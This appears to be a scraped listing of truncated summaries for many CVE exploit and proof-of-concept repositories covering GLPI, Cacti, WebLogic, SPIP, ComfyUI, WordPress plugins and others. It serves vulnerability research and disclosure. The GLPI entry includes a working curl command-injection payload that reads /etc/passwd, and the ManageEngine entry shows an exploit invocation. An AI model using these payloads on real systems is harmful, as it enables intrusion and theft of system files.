CVE-2026-82637

browser-use web-ui versions 2.0.0 through 3.0.0 contain an arbitrary directory creation vulnerability in the run_agent_task function. The affected parameters (save_recording_path , save_trace_path , save_agent_history_path , save_download_path ) accept unvalidated absolute paths, and the attack i...

EUVD-2026-68213

browser-use web-ui versions 2.0.0 through 3.0.0 fail to validate browser settings paths in runagenttask, allowing attackers to create directories at arbitrary locations by supplying absolute paths to saverecordingpath, savetracepath, saveagenthistorypath, or savedownloadpath parameters. Attackers...

CVE-2026-82637 browser-use web-ui 2.0.0 through 3.0.0 Arbitrary Directory Creation

browser-use web-ui versions 2.0.0 through 3.0.0 fail to validate browser settings paths in runagenttask, allowing attackers to create directories at arbitrary locations by supplying absolute paths to saverecordingpath, savetracepath, saveagenthistorypath, or savedownloadpath parameters. Attackers...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php Unauthenticated Command Injection. This script checks only the conditions of CVE-2022-46169. What is Cacti? Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. ...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE Exploit Exploit Title: Wing FTP Server 7.4.4 Remote Code Execution via Lua Injection CVE: CVE-2025-47812 Tested on: Wing FTP Server v7.3.x Windows/Linux Impact: Remote Code Execution RCE as SYSTEM/root Severity: Critical Description A vulnerability in Wing FTP...

wordpress_cve-2018-6389

wordpresscve-2018-6389 Tries to exploit a WordPress vulnerability CVE-2018-6389 which can be used to cause a Denial of Service. WARNING: This software does not perform DoS on vulnerable targets; it executes one HTTP GET call only to check if the vulnerability is present. This software is written ...

CVE-2026-49049

Escáner masivo CVE-2026-49049 Escáner masivo de vulnerabilidades para CVE-2026-49049: ejecución remota de código sin autenticación en el framework Helix3 de Joomla. 📌 Descripción Esta herramienta comprueba múltiples sitios Joomla en busca de la vulnerabilidad CVE-2026-49049 encontrada en el plugi...

poc-cve-xss-encoded-wp-inventory-manager-plugin

Update - 5/10/2023 The CVE-2023-2123 ID was reserved and the PoC was published in the WPScan website: https://wpscan.com/vulnerability/44448888-cd5d-482e-859e-123e442ce5c1 Details Title: Unauthenticated Reflected Cross-Site Scripting in WP Inventory Manager Plugin for WordPress CMS Date: 2023-04-...

CVE-2025-69606-GSVoIP-XSS

CVE-2025-69606 — Reflected XSS in GSVoIP Web Panel Severity: Medium | CWE: CWE-79 | Auth Required: No | Vector: Remote Summary A Reflected Cross-Site Scripting XSS vulnerability was identified in the GSVoIP Web Panel v2.0.90. The msg parameter of the error endpoint does not sanitize user-controll...

Golang-CVE-2021-44077-POC

Golang-CVE-2021-44077-POC This exploit is an unauthenticated RCE in Zoho ManageEngine ServiceDesk Plus msiexec.exe Then, run the exploit. go run CVE-2021-44077.go -u "http://192.168.1.3:8080/" -f "/msiexec.exe" -u is the vulnerable URL -f is your malicious file...

shirocrack

shirocrack Simple hash cracker for Apache Shiro hashes written in Golang. Useful for exploiting CVE-2024-4956. Let's keep this short CVE-2024-4956 is a path traversal vulnerability in Sonatype Nexus Repository that allows an unauthenticated attacker with network access to the server to read...

CVE-2023-51409

CVE-2023-51409 AI Engine: ChatGPT Chatbot = 1.9.98 - Unauthenticated Arbitrary File Upload via restupload Description: The AI Engine: Chatbots, Generators, Assistants, GPT 4 and more! plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the...

CVE-2022-35914

CVE-2022-35914 Unauthenticated RCE in GLPI 10.0.2 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

Oracle-WLS-Weblogic-RCE

Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic RCE test sciript CVE-2019-2725 is a deserialization vulnerability in Oracle WebLogic Server. This remote code execution vulnerability is remotely exploitable without authentication. This script which check the presence or absence of a page ...

spip-cve-2023-27372-rce

SPIP CVE-2023-27372 Unauthenticated RCE Exploit Web Shell Upload This Python script exploits CVE-2023-27372, an unauthenticated remote code execution vulnerability in SPIP CMS versions prior to 4.2.1. It leverages a cache poisoning flaw in the password reset mechanism to upload a web shell and...

CVE-2022-22029-NFS-Server-

Windows Network File System Remote Code Execution Vulnerability CVE-2022-22039 To successfully exploit this vulnerability, an attacker must succeed in a race condition. Making an unauthenticated, carefully constructed call to a Network File System NFS service could be used to exploit this...

rpc-rce.py

rpc.py RCE Exploit CVE-2022-35411 This is an updated and improved exploit for CVE-2022-35411 , targeting vulnerable versions of rpc.py Original exploit by : Elias Hohl Enhanced by : x7331 for usability, portability, and automation Vulnerability Summary The vulnerability lies in rpc.py's unsafe...

CVE-2021-31862

CVE-2021-31862 SysAid 20.4.74 allows reflected XSS via the KeepAlive.jsp parameter, without authentication. Timeline Discovered: April 28, 2021 Initial Vendor Contact: April 28, 2021 Reported: April 28, 2021 CVE ID issued: April 28, 2021 Secondary Vendor Contact: Vendor did not reply to initial...

givewp-cve-2026-82222-rce-lab

CVE-2026-82222 — Laboratorio de Validación de RCE Solo-Marcador para GiveWP Material de investigación de seguridad para reproducir y validar CVE-2026-82222 en un laboratorio Docker aislado. Para el PoC de RCE directo y el escaneo de URL, useCVE-2026-8222-RCE.py Veredicto Estado: probado en el...

CVE-2026-68771_exploit

CVE-2026-68771 — RCE no autenticado por deserialización de pickle en ComfyUI Ejecución remota de código no autenticada en ComfyUI a través del nodo LoadTrainingDataset. LoadTrainingDataset.execute carga los shards del dataset desde el directorio de salida del servidor con torch.loadf y...